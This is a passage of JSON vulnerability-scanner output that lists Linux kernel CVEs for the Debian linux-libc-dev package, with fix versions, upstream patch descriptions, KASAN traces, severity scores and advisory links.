"Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98417", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b76f8e673a9b890092f829c311d5f4833d11289ed53967697c3e209ee3b255e8", "Title": "kernel: net: xfrm: reject unrepresentable espintcp transport headers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: xfrm: reject unrepresentable espintcp transport headers\n\nESP-in-TCP can hand xfrm packets whose transport header offset no longer\nfits after the stream parser trims the TCP envelope. The plain transport\nheader reset truncates that offset and triggers the skb warning path.\n\nUse the careful transport-header helper and drop the skb through the\nexisting XFRM error path when the offset cannot be represented.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98417", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98417.mbox", "https://git.kernel.org/stable/c/206f396f46149dc8bc4dfd2b54b9879ba3ee1d7d", "https://git.kernel.org/stable/c/327b2a457dd7d5445f7395f371f3c65de79bd5ce", "https://git.kernel.org/stable/c/4a8243fd2e21980fa3fd10c0610e9155057cebd3", "https://git.kernel.org/stable/c/6c29681207bc213188afa603dff2d55e7178a341", "https://git.kernel.org/stable/c/96f01b53c2d05e003b040892256de54a586e8529", "https://git.kernel.org/stable/c/b2b84e73e0386ad0b4f9b8d3afde343e761f5275", "https://git.kernel.org/stable/c/cce630c751279e974fa0bb574d80575e0cc7e8f3", "https://git.kernel.org/stable/c/d37a5b87577c4b4c1a1dcb000a9dff1df2cf886b", "https://nvd.nist.gov/vuln/detail/CVE-2026-98417", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98417" ], "PublishedDate": "2026-10-14T14:17:53.04Z", "LastModifiedDate": "2026-10-19T10:18:47.1Z" }, { "VulnerabilityID": "CVE-2026-98442", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98442", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dd6ef0214fed5d4d4991602624bc849d292f79ac60498eaf8ae1b137fce35cba", "Title": "kernel: net/sched: act_ct: fix helper UAF due to extensions realloc", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_ct: fix helper UAF due to extensions realloc\n\nWhile calling the helpers, a raw pointer to the extensions area is\nwired into expectations list:\n\n -\u003e nf_ct_helper()\n -\u003e helper-\u003ehelp()\n -\u003e nf_ct_expect_related_report()\n -\u003e nf_ct_expect_insert()\n -\u003e hlist_add_head_rcu(\u0026exp-\u003elnode, \u0026master_help-\u003eexpectations)\n\nIn case the connection is not confirmed yet, more extensions can be\nadded afterwards with *_ext_add() calls reallocating the extension\nspace and leaving the now invalid pointer in the expectations list\nthat is later accessed while removing the expectation.\n\nMake sure that helpers are called at the end after all the other\nextensions are already added.\n\nNote that the helper rejection now leaves the mark and labels set,\nbut that's not different from how the NAT was handled before or how\nthe mark and the labels were handled on confirmation failure. And\nthere are no atomicity guarantees provided by the API anyway.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98442", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98442.mbox", "https://git.kernel.org/stable/c/1679bbf5fbeac52a310b1a58b2b301bbf388bdbf", "https://git.kernel.org/stable/c/31f5fe29a572037ee19c233dfe506849940c484b", "https://git.kernel.org/stable/c/812c16a255e7773a544e88b39ae6daed25544d30", "https://git.kernel.org/stable/c/8988f4d11f3fba0ab38122178836c683ad516a05", "https://git.kernel.org/stable/c/dad19b59da050cb60d3f7023dac2a042a84bf0bd", "https://linux.oracle.com/cve/CVE-2026-98442.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98442", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98442" ], "PublishedDate": "2026-10-18T16:16:54.503Z", "LastModifiedDate": "2026-10-24T14:16:42.08Z" }, { "VulnerabilityID": "CVE-2026-98466", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98466", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22a94e9a0e482b33a94d975cc314a9a38a1a510f98c69b8bb4ae62b6789fba09", "Title": "kernel: KVM: arm64: Transfer the hyp stack pages out of the host stage-2", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Transfer the hyp stack pages out of the host stage-2\n\nfix_host_ownership() walks only the linear-map alias of each memblock\nregion, and the per-CPU hyp stack, mapped in the private VA range for\nits guard page, has none.\n\nWalk each stack's VA range with the same walker.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-98466", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98466.mbox", "https://git.kernel.org/stable/c/22df195bff84300a3f04813d6148765c77ac565a", "https://git.kernel.org/stable/c/3a8c562892b96f35bba1e00d5e455a15963bbb92", "https://git.kernel.org/stable/c/e5dd2a91a7ae3a276e6d79806127e923936e241b", "https://linux.oracle.com/cve/CVE-2026-98466.html", "https://linux.oracle.com/errata/ELSA-2026-93412.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98466", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98466" ], "PublishedDate": "2026-10-18T16:16:57.09Z", "LastModifiedDate": "2026-10-24T14:16:43.193Z" }, { "VulnerabilityID": "CVE-2026-98490", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98490", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a53b666a8701e2603090064f984309bf9fc8e56554bd3a013b4f594a550954df", "Title": "kernel: net: openvswitch: conntrack: fix helper UAF due to extensions realloc", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: conntrack: fix helper UAF due to extensions realloc\n\nWhile calling the helpers, a raw pointer to the extensions area is\nwired into expectations list:\n\n -\u003e nf_ct_helper()\n -\u003e helper-\u003ehelp()\n -\u003e nf_ct_expect_related_report()\n -\u003e nf_ct_expect_insert()\n -\u003e hlist_add_head_rcu(\u0026exp-\u003elnode, \u0026master_help-\u003eexpectations)\n\nIn case the connection is not confirmed yet, more extensions can be\nadded afterwards with *_ext_add() calls reallocating the extension\nspace and leaving the now invalid pointer in the expectations list\nthat is later accessed while removing the expectation.\n\nMake sure that helpers are called at the end after all the other\nextensions are already added.\n\nNote that the helper rejection now leaves the mark and labels set,\nbut that's not different from how the NAT was handled before or how\nthe mark and the labels were handled on confirmation failure. And\nthere are no atomicity guarantees provided by the API anyway.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98490", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98490.mbox", "https://git.kernel.org/stable/c/18866dc1f525f9ee4de7709529d1ae1af8d8e8be", "https://git.kernel.org/stable/c/1a4151e6be57b098b7a5ebfbde58585e83200cdc", "https://git.kernel.org/stable/c/5f23080a625dd7855ab91485c8d691a54a1979f0", "https://git.kernel.org/stable/c/84d47a83b7b717576de0defab46b8823a22853b0", "https://git.kernel.org/stable/c/9f308197395c1a524b736e401cbc8a2ed7d246c9", "https://git.kernel.org/stable/c/afcf362625190c5260530b1d6c7daa98831f6b83", "https://git.kernel.org/stable/c/e02a83bb0b7a203f6a22f55ad5f426765560f811", "https://git.kernel.org/stable/c/f53d13a286fb275bda0efdf445b8a1e4dfcb717b", "https://linux.oracle.com/cve/CVE-2026-98490.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98490", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98490" ], "PublishedDate": "2026-10-18T16:16:59.903Z", "LastModifiedDate": "2026-10-30T13:21:14.923Z" }, { "VulnerabilityID": "CVE-2026-98524", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98524", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2db7ca8003bb534d1a438314e262b29f099621ca43b3e86018a8100b1f738d3e", "Title": "kernel: rds: ib: Clear the sg list when mapping an MR fails", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrds: ib: Clear the sg list when mapping an MR fails\n\nrds_ib_map_frmr() stores the caller's scatterlist in the MR before DMA\nmapping and registration can fail. On failure, __rds_rdma_map() unpins\nthe pages and frees the scatterlist, but rds_ib_free_frmr() can still\nreturn the MR to the pool with the stale pointer set.\n\nThis leaves the pool with a dangling scatterlist and can lead to local\nprivilege escalation. KASAN detects the resulting use-after-free when the\nMR is later torn down:\n\nBUG: KASAN: slab-use-after-free in __rds_ib_teardown_mr\nRead of size 8\n\nCall Trace:\n __rds_ib_teardown_mr\n rds_ib_unreg_frmr\n rds_ib_flush_mr_pool\n rds_ib_flush_mrs\n rds_free_mr\n rds_setsockopt\n\nStore the scatterlist in the MR only after DMA mapping succeeds. If DMA\nmapping fails, return directly while the MR fields remain clear; the caller\nkeeps ownership of the scatterlist and its pinned pages. If a later\nregistration step fails, unmap the scatterlist and clear the MR fields\nbefore returning.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98524", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98524.mbox", "https://git.kernel.org/stable/c/1be3211e6ac77adbb1eac01314d989d243b32c59", "https://git.kernel.org/stable/c/4468df5bcdef959fd96494e9968f323561a45f4c", "https://git.kernel.org/stable/c/49ba5ed0129906e0362c2e4b5e21c89b2a41e115", "https://git.kernel.org/stable/c/58eb1b3325edac42dc6df72c80962bd53a3c8ca7", "https://git.kernel.org/stable/c/8dca3c81344532a7f05edb3d12f31f3009410a90", "https://git.kernel.org/stable/c/b36d32f30c3f1e58e3a5ae79d0f52836a316b36e", "https://git.kernel.org/stable/c/c42d316163f89cd23de2f3e24558177a8c29bad8", "https://git.kernel.org/stable/c/e2ee0616260080376123997488b5cf8a3870b8d9", "https://nvd.nist.gov/vuln/detail/CVE-2026-98524", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98524" ], "PublishedDate": "2026-10-18T16:17:03.827Z", "LastModifiedDate": "2026-10-24T14:16:46.107Z" }, { "VulnerabilityID": "CVE-2026-98532", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98532", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:74263844c9e40c16419233b58627cd7f47566daac6ed4f2f1c08d09687b11087", "Title": "kernel: ipv6: do not let ipv6_find_hdr() return an offset past the packet end", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: do not let ipv6_find_hdr() return an offset past the packet end\n\nipv6_find_hdr() walks the extension header chain, skipping each header by\nthe length that header itself declares. ipv6_optlen() returns up to 2048,\nand the skip is never checked against skb-\u003elen, so the offset stored in\n*offset can point past the end of the packet.\n\nopenvswitch installs that offset as the transport header, and\nupdate_ipv6_checksum() then reads and writes the transport checksum field\nout of bounds:\n\n BUG: KASAN: slab-use-after-free in inet_proto_csum_replace16+0x445/0x470\n Read of size 2 at addr ffff88810b754b06 by task ovs_ipv6_oob/629\n CPU: 4 UID: 1000 PID: 629 Comm: ovs_ipv6_oob Tainted: G N 7.3.0-rc3+ #348\n Call Trace:\n inet_proto_csum_replace16+0x445/0x470\n set_ipv6_addr+0x3dd/0x460\n do_execute_actions+0x6a3d/0x7c40\n ovs_execute_actions+0xfd/0x480\n ovs_packet_cmd_execute+0xc38/0xf20\n genl_rcv_msg+0x59e/0x870\n netlink_rcv_skb+0x18b/0x450\n genl_rcv+0x2d/0x40\n netlink_unicast+0x6bc/0xa20\n\n The buggy address belongs to the object at ffff88810b754980\n which belongs to the cache skbuff_small_head of size 704\n The buggy address is located 390 bytes inside of\n freed 704-byte region [ffff88810b754980, ffff88810b754c40)\n\nOther callers use that offset too, so bound it here rather than in one\ncaller.\n\nReject a header whose declared length does not fit in the packet.\nipv6_find_hdr() already fails with -EBADMSG on a malformed chain, so this\nadds no new failure mode.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98532", "https://access.redhat.com/security/cve/CVE-2026-98532", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98532.mbox", "https://git.kernel.org/stable/c/1c70275ca87e769e1a52abc644d61372d8c016cb", "https://git.kernel.org/stable/c/1d42828565889632068fbc2983c34d57c66af4e0", "https://git.kernel.org/stable/c/4254d5878c320c19961dd0b8e1d0aca4800d8b7d", "https://git.kernel.org/stable/c/531255de8971c06d5d5986f85fdc2525d707ba71", "https://git.kernel.org/stable/c/543354c6efb27eae3372a3a9674aeaa2a86e2b2c", "https://git.kernel.org/stable/c/ca96b38730e31357ef4a9d76af1336958ac670d7", "https://git.kernel.org/stable/c/dc92cb972e86790b8078337ec41015b748b8f8e5", "https://git.kernel.org/stable/c/ee319bd3a0e976af5087cbe59ebc50a66f31d202", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-iwhrubmnqu6p.toml", "https://linux.oracle.com/cve/CVE-2026-98532.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98532", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98532" ], "PublishedDate": "2026-10-18T16:17:04.79Z", "LastModifiedDate": "2026-10-24T14:16:46.34Z" }, { "VulnerabilityID": "CVE-2026-98548", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98548", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a15d67c308c22c3ac79099850549c4b0cc8ca729499fb87047aa9a971c90cd8c", "Title": "kernel: sctp: discard the rest of the packet on a stale-cookie error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: discard the rest of the packet on a stale-cookie error\n\nWhen an association is in COOKIE-ECHOED state and the peer sends a\nbundled [ERROR(Stale Cookie)][DATA] packet from one of its non-primary\naddresses, processing the ERROR chunk takes the non-fatal stale-cookie\nretry path sctp_sf_do_5_2_6_stale(), which queues\nSCTP_CMD_DEL_NON_PRIMARY while keeping the association alive.\nsctp_cmd_del_non_primary() removes every non-primary transport -\nincluding the very transport this packet arrived on, which is still\nreferenced by the receive lookup and shared by all chunks of the\npacket via chunk-\u003etransport.\n\nsctp_assoc_rm_peer() does redirect asoc-\u003epeer.last_data_from away from\nthe removed transport, but right afterwards the bundled DATA chunk\nmakes sctp_assoc_bh_rcv() re-register\nasoc-\u003epeer.last_data_from = chunk-\u003etransport unconditionally, undoing\nthe redirection with the just-removed transport.\n\nOnce the packet is done, the receive reference is dropped and the\ntransport is RCU-freed, while the surviving association keeps the\ndangling last_data_from. A later FWD-TSN (or the delayed SACK timer)\nmakes sctp_gen_sack() dereference it (-\u003eparam_flags and friends), and\nsctp_make_sack()/sctp_outq_select_transport() may write to the freed\nobject and link it into the live transport list. This is a\nuse-after-free triggerable by any malicious SCTP peer (or a local\nunprivileged user acting as one) with no capabilities required:\n\n BUG: KASAN: slab-use-after-free in sctp_do_sm+0x498a/0x5660\n Read of size 4 at addr ffff88800e1e356c by task poc/115\n Call Trace: sctp_do_sm \u003c- sctp_assoc_bh_rcv \u003c- sctp_inq_push \u003c-\n sctp_rcv \u003c- ip_protocol_deliver_rcu \u003c- ip_rcv\n Allocated: sctp_transport_new \u003c- sctp_assoc_add_peer \u003c-\n sctp_process_init (INIT-ACK processing)\n Freed: kfree \u003c- sctp_transport_destroy_rcu \u003c- rcu_core\n (call_rcu queued by sctp_transport_put at end of sctp_rcv)\n The buggy address is located 364 bytes inside of freed 1024-byte\n region [ffff88800e1e3400, ffff88800e1e3800), cache kmalloc-1k\n\nNote that commit 03a9d10ecf71 (\"sctp: drop a chunk if its transport\nwas removed\") only covers the window between the receive lookup and\nthe chunk processing (e.g. an ASCONF DEL-IP racing the socket backlog);\nhere the transport is removed *while* the packet is being processed,\nby an earlier chunk of the same packet, so the drop in sctp_inq_push()\ndoes not reach this path. Verified with the bundled [ERROR(Stale\nCookie)][DATA] + FWD-TSN reproducer: the KASAN report above still\nfires with that commit applied, and is gone with this patch on top.\n\nFix it by discarding the rest of the packet on this path, as suggested\nby Xin. After the stale-cookie ERROR has sent the association back to\nCOOKIE-WAIT and removed the non-primary transports, the remaining\nchunks of the packet can only run against the restarted handshake\nwhile referencing the removed arrival transport through\nchunk-\u003etransport: besides the last_data_from registration above,\nsctp_cmd_setup_t2() and the sctp_make_*() reply builders would also\ncopy that pointer into association-lifetime state that\nsctp_assoc_rm_peer() has already sanitized. Let the peer retransmit\nthem, in line with what sctp_inq_push() does for chunks whose\ntransport was removed before processing.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98548", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98548.mbox", "https://git.kernel.org/stable/c/1cd246b214dc9acf4e2f11d58c035e1e672fe7d2", "https://git.kernel.org/stable/c/4498467a8af06cfa3d71cb04bd7c4170dec8f449", "https://git.kernel.org/stable/c/6df536c5acbc0abd6f119d02e24f4a2ed97707f4", "https://git.kernel.org/stable/c/854c053c71459f8db7ef07db9cfa4eec5f5206f2", "https://git.kernel.org/stable/c/965e21ea16acb394d5e5801998ca9b0adc669665", "https://git.kernel.org/stable/c/c0af3fd150fdc43821df3bb77e5ec74faf4dfc7a", "https://git.kernel.org/stable/c/d68c9287b3ca0d6faadc61fbcb18d1a6b5493321", "https://git.kernel.org/stable/c/ec23855274a73906b02f0d124fefd9cb3c008b1d", "https://linux.oracle.com/cve/CVE-2026-98548.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98548", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98548" ], "PublishedDate": "2026-10-18T16:17:06.767Z", "LastModifiedDate": "2026-10-24T14:16:46.943Z" }, { "VulnerabilityID": "CVE-2026-98549", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98549", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:410a38569feababa0284984d90a0c8f0585a7ce9070f356f74ef3058ba133b7e", "Title": "kernel: tcp: prevent collapsing skbs across boundary in rtx queue", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: prevent collapsing skbs across boundary in rtx queue\n\ntcp_write_collapse_fence() sets TCP_SKB_CB(skb)-\u003eeor = 1 on\ntcp_write_queue_tail(sk) to prevent skbs queued after a switch to\ndevice encryption from being collapsed into earlier skbs.\n\nThe fence is a no-op if all earlier data has already been transmitted\nwhen the switch happens: sk-\u003esk_write_queue is empty. The not yet\nacknowledged earlier skbs wait in sk-\u003etcp_rtx_queue with eor 0.\n\nOn a subsequent retransmit or SACK shift, tcp_retrans_try_collapse() or\ntcp_shift_skb_data() can then merge an skb queued after the switch into\none queued before it.\n\nBoth users of the fence are affected:\n\n- psp: devices only encrypt skbs with skb-\u003edecrypted set. The merged skb\n keeps decrypted = 0 from the earlier skb, so merged data sent after\n psp_sock_assoc_set_tx() is retransmitted in cleartext.\n\n- tls device offload: the merged skb straddles the start marker set in\n tls_set_device_offload(). The software fallback (fill_sg_in() returns\n -EINVAL) and the mlx5, nfp and funeth drivers cannot handle such an\n skb and drop it. Every retransmit rebuilds the same skb, so the\n connection stalls.\n\nFix this in two places, for defense in depth:\n\n1. Fall back to tcp_rtx_queue_tail(sk) in tcp_write_collapse_fence()\n when tcp_write_queue_tail(sk) is NULL.\n\n2. Check !skb_cmp_decrypted(to, from) in tcp_skb_can_collapse(), as\n tcp_skb_can_collapse_rx() does on receive. skb_shift(), which both\n collapse paths call, already has a DEBUG_NET_WARN_ON_ONCE() for this\n condition.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98549", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98549.mbox", "https://git.kernel.org/stable/c/08e835f5ec6e261c79d8c39f8618b3af29e3b0da", "https://git.kernel.org/stable/c/1ae7aee395245874d797890380d9192bd858fb7e", "https://git.kernel.org/stable/c/533344a00ad968181e60d0980c076a9d0de57482", "https://git.kernel.org/stable/c/7061aafc680e14e22b191f178b768886475f8524", "https://git.kernel.org/stable/c/7ba87509c54cd519e7ed362e0c85e8431f066a18", 